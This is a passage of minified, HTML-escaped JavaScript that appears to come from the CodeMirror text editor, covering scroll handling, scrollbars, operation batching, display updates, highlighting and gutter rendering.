var diff=cur.line.height-height;if(diff&gt;.005||diff&lt;-.005){updateLineHeight(cur.line,height);updateWidgetHeight(cur.line);if(cur.rest){for(var j=0;j&lt;cur.rest.length;j++){updateWidgetHeight(cur.rest[j])}}}
if(width&gt;cm.display.sizerWidth){var chWidth=Math.ceil(width/charWidth(cm.display));if(chWidth&gt;cm.display.maxLineLength){cm.display.maxLineLength=chWidth;cm.display.maxLine=cur.line;cm.display.maxLineChanged=!0}}}}
function updateWidgetHeight(line){if(line.widgets){for(var i=0;i&lt;line.widgets.length;++i){var w=line.widgets[i],parent=w.node.parentNode;if(parent){w.height=parent.offsetHeight}}}}
function visibleLines(display,doc,viewport){var top=viewport&amp;&amp;viewport.top!=null?Math.max(0,viewport.top):display.scroller.scrollTop;top=Math.floor(top-paddingTop(display));var bottom=viewport&amp;&amp;viewport.bottom!=null?viewport.bottom:top+display.wrapper.clientHeight;var from=lineAtHeight(doc,top),to=lineAtHeight(doc,bottom);if(viewport&amp;&amp;viewport.ensure){var ensureFrom=viewport.ensure.from.line,ensureTo=viewport.ensure.to.line;if(ensureFrom&lt;from){from=ensureFrom;to=lineAtHeight(doc,heightAtLine(getLine(doc,ensureFrom))+display.wrapper.clientHeight)}else if(Math.min(ensureTo,doc.lastLine())&gt;=to){from=lineAtHeight(doc,heightAtLine(getLine(doc,ensureTo))-display.wrapper.clientHeight);to=ensureTo}}
return{from:from,to:Math.max(to,from+1)}}
function maybeScrollWindow(cm,rect){if(signalDOMEvent(cm,&quot;scrollCursorIntoView&quot;)){return}
var display=cm.display,box=display.sizer.getBoundingClientRect(),doScroll=null;if(rect.top+box.top&lt;0){doScroll=!0}else if(rect.bottom+box.top&gt;(window.innerHeight||document.documentElement.clientHeight)){doScroll=!1}
if(doScroll!=null&amp;&amp;!phantom){var scrollNode=elt(&quot;div&quot;,&quot;\u200b&quot;,null,(&quot;position: absolute;\n                         top: &quot;+(rect.top-display.viewOffset-paddingTop(cm.display))+&quot;px;\n                         height: &quot;+(rect.bottom-rect.top+scrollGap(cm)+display.barHeight)+&quot;px;\n                         left: &quot;+(rect.left)+&quot;px; width: &quot;+(Math.max(2,rect.right-rect.left))+&quot;px;&quot;));cm.display.lineSpace.appendChild(scrollNode);scrollNode.scrollIntoView(doScroll);cm.display.lineSpace.removeChild(scrollNode)}}
function scrollPosIntoView(cm,pos,end,margin){if(margin==null){margin=0}
var rect;if(!cm.options.lineWrapping&amp;&amp;pos==end){pos=pos.ch?Pos(pos.line,pos.sticky==&quot;before&quot;?pos.ch-1:pos.ch,&quot;after&quot;):pos;end=pos.sticky==&quot;before&quot;?Pos(pos.line,pos.ch+1,&quot;before&quot;):pos}
for(var limit=0;limit&lt;5;limit++){var changed=!1;var coords=cursorCoords(cm,pos);var endCoords=!end||end==pos?coords:cursorCoords(cm,end);rect={left:Math.min(coords.left,endCoords.left),top:Math.min(coords.top,endCoords.top)-margin,right:Math.max(coords.left,endCoords.left),bottom:Math.max(coords.bottom,endCoords.bottom)+margin};var scrollPos=calculateScrollPos(cm,rect);var startTop=cm.doc.scrollTop,startLeft=cm.doc.scrollLeft;if(scrollPos.scrollTop!=null){updateScrollTop(cm,scrollPos.scrollTop);if(Math.abs(cm.doc.scrollTop-startTop)&gt;1){changed=!0}}
if(scrollPos.scrollLeft!=null){setScrollLeft(cm,scrollPos.scrollLeft);if(Math.abs(cm.doc.scrollLeft-startLeft)&gt;1){changed=!0}}
if(!changed){break}}
return rect}
function scrollIntoView(cm,rect){var scrollPos=calculateScrollPos(cm,rect);if(scrollPos.scrollTop!=null){updateScrollTop(cm,scrollPos.scrollTop)}
if(scrollPos.scrollLeft!=null){setScrollLeft(cm,scrollPos.scrollLeft)}}
function calculateScrollPos(cm,rect){var display=cm.display,snapMargin=textHeight(cm.display);if(rect.top&lt;0){rect.top=0}
var screentop=cm.curOp&amp;&amp;cm.curOp.scrollTop!=null?cm.curOp.scrollTop:display.scroller.scrollTop;var screen=displayHeight(cm),result={};if(rect.bottom-rect.top&gt;screen){rect.bottom=rect.top+screen}
var docBottom=cm.doc.height+paddingVert(display);var atTop=rect.top&lt;snapMargin,atBottom=rect.bottom&gt;docBottom-snapMargin;if(rect.top&lt;screentop){result.scrollTop=atTop?0:rect.top}else if(rect.bottom&gt;screentop+screen){var newTop=Math.min(rect.top,(atBottom?docBottom:rect.bottom)-screen);if(newTop!=screentop){result.scrollTop=newTop}}
var screenleft=cm.curOp&amp;&amp;cm.curOp.scrollLeft!=null?cm.curOp.scrollLeft:display.scroller.scrollLeft;var screenw=displayWidth(cm)-(cm.options.fixedGutter?display.gutters.offsetWidth:0);var tooWide=rect.right-rect.left&gt;screenw;if(tooWide){rect.right=rect.left+screenw}
if(rect.left&lt;10){result.scrollLeft=0}else if(rect.left&lt;screenleft){result.scrollLeft=Math.max(0,rect.left-(tooWide?0:10))}else if(rect.right&gt;screenw+screenleft-3){result.scrollLeft=rect.right+(tooWide?0:10)-screenw}
return result}
function addToScrollTop(cm,top){if(top==null){return}
resolveScrollToPos(cm);cm.curOp.scrollTop=(cm.curOp.scrollTop==null?cm.doc.scrollTop:cm.curOp.scrollTop)+top}
function ensureCursorVisible(cm){resolveScrollToPos(cm);var cur=cm.getCursor();cm.curOp.scrollToPos={from:cur,to:cur,margin:cm.options.cursorScrollMargin}}
function scrollToCoords(cm,x,y){if(x!=null||y!=null){resolveScrollToPos(cm)}
if(x!=null){cm.curOp.scrollLeft=x}
if(y!=null){cm.curOp.scrollTop=y}}
function scrollToRange(cm,range){resolveScrollToPos(cm);cm.curOp.scrollToPos=range}
function resolveScrollToPos(cm){var range=cm.curOp.scrollToPos;if(range){cm.curOp.scrollToPos=null;var from=estimateCoords(cm,range.from),to=estimateCoords(cm,range.to);scrollToCoordsRange(cm,from,to,range.margin)}}
function scrollToCoordsRange(cm,from,to,margin){var sPos=calculateScrollPos(cm,{left:Math.min(from.left,to.left),top:Math.min(from.top,to.top)-margin,right:Math.max(from.right,to.right),bottom:Math.max(from.bottom,to.bottom)+margin});scrollToCoords(cm,sPos.scrollLeft,sPos.scrollTop)}
function updateScrollTop(cm,val){if(Math.abs(cm.doc.scrollTop-val)&lt;2){return}
if(!gecko){updateDisplaySimple(cm,{top:val})}
setScrollTop(cm,val,!0);if(gecko){updateDisplaySimple(cm)}
startWorker(cm,100)}
function setScrollTop(cm,val,forceScroll){val=Math.max(0,Math.min(cm.display.scroller.scrollHeight-cm.display.scroller.clientHeight,val));if(cm.display.scroller.scrollTop==val&amp;&amp;!forceScroll){return}
cm.doc.scrollTop=val;cm.display.scrollbars.setScrollTop(val);if(cm.display.scroller.scrollTop!=val){cm.display.scroller.scrollTop=val}}
function setScrollLeft(cm,val,isScroller,forceScroll){val=Math.max(0,Math.min(val,cm.display.scroller.scrollWidth-cm.display.scroller.clientWidth));if((isScroller?val==cm.doc.scrollLeft:Math.abs(cm.doc.scrollLeft-val)&lt;2)&amp;&amp;!forceScroll){return}
cm.doc.scrollLeft=val;alignHorizontally(cm);if(cm.display.scroller.scrollLeft!=val){cm.display.scroller.scrollLeft=val}
cm.display.scrollbars.setScrollLeft(val)}
function measureForScrollbars(cm){var d=cm.display,gutterW=d.gutters.offsetWidth;var docH=Math.round(cm.doc.height+paddingVert(cm.display));return{clientHeight:d.scroller.clientHeight,viewHeight:d.wrapper.clientHeight,scrollWidth:d.scroller.scrollWidth,clientWidth:d.scroller.clientWidth,viewWidth:d.wrapper.clientWidth,barLeft:cm.options.fixedGutter?gutterW:0,docHeight:docH,scrollHeight:docH+scrollGap(cm)+d.barHeight,nativeBarWidth:d.nativeBarWidth,gutterWidth:gutterW}}
var NativeScrollbars=function(place,scroll,cm){this.cm=cm;var vert=this.vert=elt(&quot;div&quot;,[elt(&quot;div&quot;,null,null,&quot;min-width: 1px&quot;)],&quot;CodeMirror-vscrollbar&quot;);var horiz=this.horiz=elt(&quot;div&quot;,[elt(&quot;div&quot;,null,null,&quot;height: 100%; min-height: 1px&quot;)],&quot;CodeMirror-hscrollbar&quot;);vert.tabIndex=horiz.tabIndex=-1;place(vert);place(horiz);on(vert,&quot;scroll&quot;,function(){if(vert.clientHeight){scroll(vert.scrollTop,&quot;vertical&quot;)}});on(horiz,&quot;scroll&quot;,function(){if(horiz.clientWidth){scroll(horiz.scrollLeft,&quot;horizontal&quot;)}});this.checkedZeroWidth=!1;if(ie&amp;&amp;ie_version&lt;8){this.horiz.style.minHeight=this.vert.style.minWidth=&quot;18px&quot;}};NativeScrollbars.prototype.update=function(measure){var needsH=measure.scrollWidth&gt;measure.clientWidth+1;var needsV=measure.scrollHeight&gt;measure.clientHeight+1;var sWidth=measure.nativeBarWidth;if(needsV){this.vert.style.display=&quot;block&quot;;this.vert.style.bottom=needsH?sWidth+&quot;px&quot;:&quot;0&quot;;var totalHeight=measure.viewHeight-(needsH?sWidth:0);this.vert.firstChild.style.height=Math.max(0,measure.scrollHeight-measure.clientHeight+totalHeight)+&quot;px&quot;}else{this.vert.style.display=&quot;&quot;;this.vert.firstChild.style.height=&quot;0&quot;}
if(needsH){this.horiz.style.display=&quot;block&quot;;this.horiz.style.right=needsV?sWidth+&quot;px&quot;:&quot;0&quot;;this.horiz.style.left=measure.barLeft+&quot;px&quot;;var totalWidth=measure.viewWidth-measure.barLeft-(needsV?sWidth:0);this.horiz.firstChild.style.width=Math.max(0,measure.scrollWidth-measure.clientWidth+totalWidth)+&quot;px&quot;}else{this.horiz.style.display=&quot;&quot;;this.horiz.firstChild.style.width=&quot;0&quot;}
if(!this.checkedZeroWidth&amp;&amp;measure.clientHeight&gt;0){if(sWidth==0){this.zeroWidthHack()}
this.checkedZeroWidth=!0}
return{right:needsV?sWidth:0,bottom:needsH?sWidth:0}};NativeScrollbars.prototype.setScrollLeft=function(pos){if(this.horiz.scrollLeft!=pos){this.horiz.scrollLeft=pos}
if(this.disableHoriz){this.enableZeroWidthBar(this.horiz,this.disableHoriz,&quot;horiz&quot;)}};NativeScrollbars.prototype.setScrollTop=function(pos){if(this.vert.scrollTop!=pos){this.vert.scrollTop=pos}
if(this.disableVert){this.enableZeroWidthBar(this.vert,this.disableVert,&quot;vert&quot;)}};NativeScrollbars.prototype.zeroWidthHack=function(){var w=mac&amp;&amp;!mac_geMountainLion?&quot;12px&quot;:&quot;18px&quot;;this.horiz.style.height=this.vert.style.width=w;this.horiz.style.pointerEvents=this.vert.style.pointerEvents=&quot;none&quot;;this.disableHoriz=new Delayed;this.disableVert=new Delayed};NativeScrollbars.prototype.enableZeroWidthBar=function(bar,delay,type){bar.style.pointerEvents=&quot;auto&quot;;function maybeDisable(){var box=bar.getBoundingClientRect();var elt=type==&quot;vert&quot;?document.elementFromPoint(box.right-1,(box.top+box.bottom)/2):document.elementFromPoint((box.right+box.left)/2,box.bottom-1);if(elt!=bar){bar.style.pointerEvents=&quot;none&quot;}else{delay.set(1000,maybeDisable)}}
delay.set(1000,maybeDisable)};NativeScrollbars.prototype.clear=function(){var parent=this.horiz.parentNode;parent.removeChild(this.horiz);parent.removeChild(this.vert)};var NullScrollbars=function(){};NullScrollbars.prototype.update=function(){return{bottom:0,right:0}};NullScrollbars.prototype.setScrollLeft=function(){};NullScrollbars.prototype.setScrollTop=function(){};NullScrollbars.prototype.clear=function(){};function updateScrollbars(cm,measure){if(!measure){measure=measureForScrollbars(cm)}
var startWidth=cm.display.barWidth,startHeight=cm.display.barHeight;updateScrollbarsInner(cm,measure);for(var i=0;i&lt;4&amp;&amp;startWidth!=cm.display.barWidth||startHeight!=cm.display.barHeight;i++){if(startWidth!=cm.display.barWidth&amp;&amp;cm.options.lineWrapping){updateHeightsInViewport(cm)}
updateScrollbarsInner(cm,measureForScrollbars(cm));startWidth=cm.display.barWidth;startHeight=cm.display.barHeight}}
function updateScrollbarsInner(cm,measure){var d=cm.display;var sizes=d.scrollbars.update(measure);d.sizer.style.paddingRight=(d.barWidth=sizes.right)+&quot;px&quot;;d.sizer.style.paddingBottom=(d.barHeight=sizes.bottom)+&quot;px&quot;;d.heightForcer.style.borderBottom=sizes.bottom+&quot;px solid transparent&quot;;if(sizes.right&amp;&amp;sizes.bottom){d.scrollbarFiller.style.display=&quot;block&quot;;d.scrollbarFiller.style.height=sizes.bottom+&quot;px&quot;;d.scrollbarFiller.style.width=sizes.right+&quot;px&quot;}else{d.scrollbarFiller.style.display=&quot;&quot;}
if(sizes.bottom&amp;&amp;cm.options.coverGutterNextToScrollbar&amp;&amp;cm.options.fixedGutter){d.gutterFiller.style.display=&quot;block&quot;;d.gutterFiller.style.height=sizes.bottom+&quot;px&quot;;d.gutterFiller.style.width=measure.gutterWidth+&quot;px&quot;}else{d.gutterFiller.style.display=&quot;&quot;}}
var scrollbarModel={&quot;native&quot;:NativeScrollbars,&quot;null&quot;:NullScrollbars};function initScrollbars(cm){if(cm.display.scrollbars){cm.display.scrollbars.clear();if(cm.display.scrollbars.addClass){rmClass(cm.display.wrapper,cm.display.scrollbars.addClass)}}
cm.display.scrollbars=new scrollbarModel[cm.options.scrollbarStyle](function(node){cm.display.wrapper.insertBefore(node,cm.display.scrollbarFiller);on(node,&quot;mousedown&quot;,function(){if(cm.state.focused){setTimeout(function(){return cm.display.input.focus()},0)}});node.setAttribute(&quot;cm-not-content&quot;,&quot;true&quot;)},function(pos,axis){if(axis==&quot;horizontal&quot;){setScrollLeft(cm,pos)}else{updateScrollTop(cm,pos)}},cm);if(cm.display.scrollbars.addClass){addClass(cm.display.wrapper,cm.display.scrollbars.addClass)}}
var nextOpId=0;function startOperation(cm){cm.curOp={cm:cm,viewChanged:!1,startHeight:cm.doc.height,forceUpdate:!1,updateInput:0,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++nextOpId};pushOperation(cm.curOp)}
function endOperation(cm){var op=cm.curOp;if(op){finishOperation(op,function(group){for(var i=0;i&lt;group.ops.length;i++){group.ops[i].cm.curOp=null}
endOperations(group)})}}
function endOperations(group){var ops=group.ops;for(var i=0;i&lt;ops.length;i++){endOperation_R1(ops[i])}
for(var i$1=0;i$1&lt;ops.length;i$1++){endOperation_W1(ops[i$1])}
for(var i$2=0;i$2&lt;ops.length;i$2++){endOperation_R2(ops[i$2])}
for(var i$3=0;i$3&lt;ops.length;i$3++){endOperation_W2(ops[i$3])}
for(var i$4=0;i$4&lt;ops.length;i$4++){endOperation_finish(ops[i$4])}}
function endOperation_R1(op){var cm=op.cm,display=cm.display;maybeClipScrollbars(cm);if(op.updateMaxLine){findMaxLine(cm)}
op.mustUpdate=op.viewChanged||op.forceUpdate||op.scrollTop!=null||op.scrollToPos&amp;&amp;(op.scrollToPos.from.line&lt;display.viewFrom||op.scrollToPos.to.line&gt;=display.viewTo)||display.maxLineChanged&amp;&amp;cm.options.lineWrapping;op.update=op.mustUpdate&amp;&amp;new DisplayUpdate(cm,op.mustUpdate&amp;&amp;{top:op.scrollTop,ensure:op.scrollToPos},op.forceUpdate)}
function endOperation_W1(op){op.updatedDisplay=op.mustUpdate&amp;&amp;updateDisplayIfNeeded(op.cm,op.update)}
function endOperation_R2(op){var cm=op.cm,display=cm.display;if(op.updatedDisplay){updateHeightsInViewport(cm)}
op.barMeasure=measureForScrollbars(cm);if(display.maxLineChanged&amp;&amp;!cm.options.lineWrapping){op.adjustWidthTo=measureChar(cm,display.maxLine,display.maxLine.text.length).left+3;cm.display.sizerWidth=op.adjustWidthTo;op.barMeasure.scrollWidth=Math.max(display.scroller.clientWidth,display.sizer.offsetLeft+op.adjustWidthTo+scrollGap(cm)+cm.display.barWidth);op.maxScrollLeft=Math.max(0,display.sizer.offsetLeft+op.adjustWidthTo-displayWidth(cm))}
if(op.updatedDisplay||op.selectionChanged){op.preparedSelection=display.input.prepareSelection()}}
function endOperation_W2(op){var cm=op.cm;if(op.adjustWidthTo!=null){cm.display.sizer.style.minWidth=op.adjustWidthTo+&quot;px&quot;;if(op.maxScrollLeft&lt;cm.doc.scrollLeft){setScrollLeft(cm,Math.min(cm.display.scroller.scrollLeft,op.maxScrollLeft),!0)}
cm.display.maxLineChanged=!1}
var takeFocus=op.focus&amp;&amp;op.focus==activeElt();if(op.preparedSelection){cm.display.input.showSelection(op.preparedSelection,takeFocus)}
if(op.updatedDisplay||op.startHeight!=cm.doc.height){updateScrollbars(cm,op.barMeasure)}
if(op.updatedDisplay){setDocumentHeight(cm,op.barMeasure)}
if(op.selectionChanged){restartBlink(cm)}
if(cm.state.focused&amp;&amp;op.updateInput){cm.display.input.reset(op.typing)}
if(takeFocus){ensureFocus(op.cm)}}
function endOperation_finish(op){var cm=op.cm,display=cm.display,doc=cm.doc;if(op.updatedDisplay){postUpdateDisplay(cm,op.update)}
if(display.wheelStartX!=null&amp;&amp;(op.scrollTop!=null||op.scrollLeft!=null||op.scrollToPos)){display.wheelStartX=display.wheelStartY=null}
if(op.scrollTop!=null){setScrollTop(cm,op.scrollTop,op.forceScroll)}
if(op.scrollLeft!=null){setScrollLeft(cm,op.scrollLeft,!0,!0)}
if(op.scrollToPos){var rect=scrollPosIntoView(cm,clipPos(doc,op.scrollToPos.from),clipPos(doc,op.scrollToPos.to),op.scrollToPos.margin);maybeScrollWindow(cm,rect)}
var hidden=op.maybeHiddenMarkers,unhidden=op.maybeUnhiddenMarkers;if(hidden){for(var i=0;i&lt;hidden.length;++i){if(!hidden[i].lines.length){signal(hidden[i],&quot;hide&quot;)}}}
if(unhidden){for(var i$1=0;i$1&lt;unhidden.length;++i$1){if(unhidden[i$1].lines.length){signal(unhidden[i$1],&quot;unhide&quot;)}}}
if(display.wrapper.offsetHeight){doc.scrollTop=cm.display.scroller.scrollTop}
if(op.changeObjs){signal(cm,&quot;changes&quot;,cm,op.changeObjs)}
if(op.update){op.update.finish()}}
function runInOp(cm,f){if(cm.curOp){return f()}
startOperation(cm);try{return f()}finally{endOperation(cm)}}
function operation(cm,f){return function(){if(cm.curOp){return f.apply(cm,arguments)}
startOperation(cm);try{return f.apply(cm,arguments)}finally{endOperation(cm)}}}
function methodOp(f){return function(){if(this.curOp){return f.apply(this,arguments)}
startOperation(this);try{return f.apply(this,arguments)}finally{endOperation(this)}}}
function docMethodOp(f){return function(){var cm=this.cm;if(!cm||cm.curOp){return f.apply(this,arguments)}
startOperation(cm);try{return f.apply(this,arguments)}finally{endOperation(cm)}}}
function startWorker(cm,time){if(cm.doc.highlightFrontier&lt;cm.display.viewTo){cm.state.highlight.set(time,bind(highlightWorker,cm))}}
function highlightWorker(cm){var doc=cm.doc;if(doc.highlightFrontier&gt;=cm.display.viewTo){return}
var end=+new Date+cm.options.workTime;var context=getContextBefore(cm,doc.highlightFrontier);var changedLines=[];doc.iter(context.line,Math.min(doc.first+doc.size,cm.display.viewTo+500),function(line){if(context.line&gt;=cm.display.viewFrom){var oldStyles=line.styles;var resetState=line.text.length&gt;cm.options.maxHighlightLength?copyState(doc.mode,context.state):null;var highlighted=highlightLine(cm,line,context,!0);if(resetState){context.state=resetState}
line.styles=highlighted.styles;var oldCls=line.styleClasses,newCls=highlighted.classes;if(newCls){line.styleClasses=newCls}else if(oldCls){line.styleClasses=null}
var ischange=!oldStyles||oldStyles.length!=line.styles.length||oldCls!=newCls&amp;&amp;(!oldCls||!newCls||oldCls.bgClass!=newCls.bgClass||oldCls.textClass!=newCls.textClass);for(var i=0;!ischange&amp;&amp;i&lt;oldStyles.length;++i){ischange=oldStyles[i]!=line.styles[i]}
if(ischange){changedLines.push(context.line)}
line.stateAfter=context.save();context.nextLine()}else{if(line.text.length&lt;=cm.options.maxHighlightLength){processLine(cm,line.text,context)}
line.stateAfter=context.line%5==0?context.save():null;context.nextLine()}
if(+new Date&gt;end){startWorker(cm,cm.options.workDelay);return!0}});doc.highlightFrontier=context.line;doc.modeFrontier=Math.max(doc.modeFrontier,context.line);if(changedLines.length){runInOp(cm,function(){for(var i=0;i&lt;changedLines.length;i++){regLineChange(cm,changedLines[i],&quot;text&quot;)}})}}
var DisplayUpdate=function(cm,viewport,force){var display=cm.display;this.viewport=viewport;this.visible=visibleLines(display,cm.doc,viewport);this.editorIsHidden=!display.wrapper.offsetWidth;this.wrapperHeight=display.wrapper.clientHeight;this.wrapperWidth=display.wrapper.clientWidth;this.oldDisplayWidth=displayWidth(cm);this.force=force;this.dims=getDimensions(cm);this.events=[]};DisplayUpdate.prototype.signal=function(emitter,type){if(hasHandler(emitter,type)){this.events.push(arguments)}};DisplayUpdate.prototype.finish=function(){for(var i=0;i&lt;this.events.length;i++){signal.apply(null,this.events[i])}};function maybeClipScrollbars(cm){var display=cm.display;if(!display.scrollbarsClipped&amp;&amp;display.scroller.offsetWidth){display.nativeBarWidth=display.scroller.offsetWidth-display.scroller.clientWidth;display.heightForcer.style.height=scrollGap(cm)+&quot;px&quot;;display.sizer.style.marginBottom=-display.nativeBarWidth+&quot;px&quot;;display.sizer.style.borderRightWidth=scrollGap(cm)+&quot;px&quot;;display.scrollbarsClipped=!0}}
function selectionSnapshot(cm){if(cm.hasFocus()){return null}
var active=activeElt();if(!active||!contains(cm.display.lineDiv,active)){return null}
var result={activeElt:active};if(window.getSelection){var sel=window.getSelection();if(sel.anchorNode&amp;&amp;sel.extend&amp;&amp;contains(cm.display.lineDiv,sel.anchorNode)){result.anchorNode=sel.anchorNode;result.anchorOffset=sel.anchorOffset;result.focusNode=sel.focusNode;result.focusOffset=sel.focusOffset}}
return result}
function restoreSelection(snapshot){if(!snapshot||!snapshot.activeElt||snapshot.activeElt==activeElt()){return}
snapshot.activeElt.focus();if(!/^(INPUT|TEXTAREA)$/.test(snapshot.activeElt.nodeName)&amp;&amp;snapshot.anchorNode&amp;&amp;contains(document.body,snapshot.anchorNode)&amp;&amp;contains(document.body,snapshot.focusNode)){var sel=window.getSelection(),range=document.createRange();range.setEnd(snapshot.anchorNode,snapshot.anchorOffset);range.collapse(!1);sel.removeAllRanges();sel.addRange(range);sel.extend(snapshot.focusNode,snapshot.focusOffset)}}
function updateDisplayIfNeeded(cm,update){var display=cm.display,doc=cm.doc;if(update.editorIsHidden){resetView(cm);return!1}
if(!update.force&amp;&amp;update.visible.from&gt;=display.viewFrom&amp;&amp;update.visible.to&lt;=display.viewTo&amp;&amp;(display.updateLineNumbers==null||display.updateLineNumbers&gt;=display.viewTo)&amp;&amp;display.renderedView==display.view&amp;&amp;countDirtyView(cm)==0){return!1}
if(maybeUpdateLineNumberWidth(cm)){resetView(cm);update.dims=getDimensions(cm)}
var end=doc.first+doc.size;var from=Math.max(update.visible.from-cm.options.viewportMargin,doc.first);var to=Math.min(end,update.visible.to+cm.options.viewportMargin);if(display.viewFrom&lt;from&amp;&amp;from-display.viewFrom&lt;20){from=Math.max(doc.first,display.viewFrom)}
if(display.viewTo&gt;to&amp;&amp;display.viewTo-to&lt;20){to=Math.min(end,display.viewTo)}
if(sawCollapsedSpans){from=visualLineNo(cm.doc,from);to=visualLineEndNo(cm.doc,to)}
var different=from!=display.viewFrom||to!=display.viewTo||display.lastWrapHeight!=update.wrapperHeight||display.lastWrapWidth!=update.wrapperWidth;adjustView(cm,from,to);display.viewOffset=heightAtLine(getLine(cm.doc,display.viewFrom));cm.display.mover.style.top=display.viewOffset+&quot;px&quot;;var toUpdate=countDirtyView(cm);if(!different&amp;&amp;toUpdate==0&amp;&amp;!update.force&amp;&amp;display.renderedView==display.view&amp;&amp;(display.updateLineNumbers==null||display.updateLineNumbers&gt;=display.viewTo)){return!1}
var selSnapshot=selectionSnapshot(cm);if(toUpdate&gt;4){display.lineDiv.style.display=&quot;none&quot;}
patchDisplay(cm,display.updateLineNumbers,update.dims);if(toUpdate&gt;4){display.lineDiv.style.display=&quot;&quot;}
display.renderedView=display.view;restoreSelection(selSnapshot);removeChildren(display.cursorDiv);removeChildren(display.selectionDiv);display.gutters.style.height=display.sizer.style.minHeight=0;if(different){display.lastWrapHeight=update.wrapperHeight;display.lastWrapWidth=update.wrapperWidth;startWorker(cm,400)}
display.updateLineNumbers=null;return!0}
function postUpdateDisplay(cm,update){var viewport=update.viewport;for(var first=!0;;first=!1){if(!first||!cm.options.lineWrapping||update.oldDisplayWidth==displayWidth(cm)){if(viewport&amp;&amp;viewport.top!=null){viewport={top:Math.min(cm.doc.height+paddingVert(cm.display)-displayHeight(cm),viewport.top)}}
update.visible=visibleLines(cm.display,cm.doc,viewport);if(update.visible.from&gt;=cm.display.viewFrom&amp;&amp;update.visible.to&lt;=cm.display.viewTo){break}}else if(first){update.visible=visibleLines(cm.display,cm.doc,viewport)}
if(!updateDisplayIfNeeded(cm,update)){break}
updateHeightsInViewport(cm);var barMeasure=measureForScrollbars(cm);updateSelection(cm);updateScrollbars(cm,barMeasure);setDocumentHeight(cm,barMeasure);update.force=!1}
update.signal(cm,&quot;update&quot;,cm);if(cm.display.viewFrom!=cm.display.reportedViewFrom||cm.display.viewTo!=cm.display.reportedViewTo){update.signal(cm,&quot;viewportChange&quot;,cm,cm.display.viewFrom,cm.display.viewTo);cm.display.reportedViewFrom=cm.display.viewFrom;cm.display.reportedViewTo=cm.display.viewTo}}
function updateDisplaySimple(cm,viewport){var update=new DisplayUpdate(cm,viewport);if(updateDisplayIfNeeded(cm,update)){updateHeightsInViewport(cm);postUpdateDisplay(cm,update);var barMeasure=measureForScrollbars(cm);updateSelection(cm);updateScrollbars(cm,barMeasure);setDocumentHeight(cm,barMeasure);update.finish()}}
function patchDisplay(cm,updateNumbersFrom,dims){var display=cm.display,lineNumbers=cm.options.lineNumbers;var container=display.lineDiv,cur=container.firstChild;function rm(node){var next=node.nextSibling;if(webkit&amp;&amp;mac&amp;&amp;cm.display.currentWheelTarget==node){node.style.display=&quot;none&quot;}else{node.parentNode.removeChild(node)}
return next}
var view=display.view,lineN=display.viewFrom;for(var i=0;i&lt;view.length;i++){var lineView=view[i];if(lineView.hidden);else if(!lineView.node||lineView.node.parentNode!=container){var node=buildLineElement(cm,lineView,lineN,dims);container.insertBefore(node,cur)}else{while(cur!=lineView.node){cur=rm(cur)}
var updateNumber=lineNumbers&amp;&amp;updateNumbersFrom!=null&amp;&amp;updateNumbersFrom&lt;=lineN&amp;&amp;lineView.lineNumber;if(lineView.changes){if(indexOf(lineView.changes,&quot;gutter&quot;)&gt;-1){updateNumber=!1}
updateLineForChanges(cm,lineView,lineN,dims)}
if(updateNumber){removeChildren(lineView.lineNumber);lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options,lineN)))}
cur=lineView.node.nextSibling}
lineN+=lineView.size}
while(cur){cur=rm(cur)}}
function updateGutterSpace(display){var width=display.gutters.offsetWidth;display.sizer.style.marginLeft=width+&quot;px&quot;}
function setDocumentHeight(cm,measure){cm.display.sizer.style.minHeight=measure.docHeight+&quot;px&quot;;cm.display.heightForcer.style.top=measure.docHeight+&quot;px&quot;;cm.display.gutters.style.height=(measure.docHeight+cm.display.barHeight+scrollGap(cm))+&quot;px&quot;}
function alignHorizontally(cm){var display=cm.display,view=display.view;if(!display.alignWidgets&amp;&amp;(!display.gutters.firstChild||!cm.options.fixedGutter)){return}
var comp=compensateForHScroll(display)-display.scroller.scrollLeft+cm.doc.scrollLeft;var gutterW=display.gutters.offsetWidth,left=comp+&quot;px&quot;;for(var i=0;i&lt;view.length;i++){if(!view[i].hidden){if(cm.options.fixedGutter){if(view[i].gutter){view[i].gutter.style.left=left}
if(view[i].gutterBackground){view[i].gutterBackground.style.left=left}}
var align=view[i].alignable;if(align){for(var j=0;j&lt;align.length;j++){align[j].style.left=left}}}}
if(cm.options.fixedGutter){display.gutters.style.left=(comp+gutterW)+&quot;px&quot;}}
function maybeUpdateLineNumberWidth(cm){if(!cm.options.lineNumbers){return!1}
var doc=cm.doc,last=lineNumberFor(cm.options,doc.first+doc.size-1),display=cm.display;if(last.length!=display.lineNumChars){var test=display.measure.appendChild(elt(&quot;div&quot;,[elt(&quot;div&quot;,last)],&quot;CodeMirror-linenumber CodeMirror-gutter-elt&quot;));var innerW=test.firstChild.offsetWidth,padding=test.offsetWidth-innerW;display.lineGutter.style.width=&quot;&quot;;display.lineNumInnerWidth=Math.max(innerW,display.lineGutter.offsetWidth-padding)+1;display.lineNumWidth=display.lineNumInnerWidth+padding;display.lineNumChars=display.lineNumInnerWidth?last.length:-1;display.lineGutter.style.width=display.lineNumWidth+&quot;px&quot;;updateGutterSpace(cm.display);return!0}
return!1}
function getGutters(gutters,lineNumbers){var result=[],sawLineNumbers=!1;for(var i=0;i&lt;gutters.length;i++){var name=gutters[i],style=null;if(typeof name!=&quot;string&quot;){style=name.style;name=name.className}
if(name==&quot;CodeMirror-linenumbers&quot;){if(!lineNumbers){continue}else{sawLineNumbers=!0}}
result.push({className:name,style:style})}
if(lineNumbers&amp;&amp;!sawLineNumbers){result.push({className:&quot;CodeMirror-linenumbers&quot;,style:null})}
return result}
function renderGutters(display){var gutters=display.gutters,specs=display.gutterSpecs;removeChildren(gutters);display.lineGutter=null;for(var i=0;i&lt;specs.length;++i){var ref=specs[i];var className=ref.className;var style=ref.style;var gElt=gutters.appendChild(elt(&quot;div&quot;,null,&quot;CodeMirror-gutter &quot;+className));if(style){gElt.style.cssText=style}
if(className==&quot;CodeMirror-linenumbers&quot;){display.lineGutter=gElt;gElt.style.width=(display.lineNumWidth||1)+&quot;px&quot;}}
gutters.style.display=specs.length?&quot;&quot;:&quot;none&quot;;updateGutterSpace(display)}
function updateGutters(cm){renderGutters(cm.display);regChange(cm);alignHorizontally(cm)}
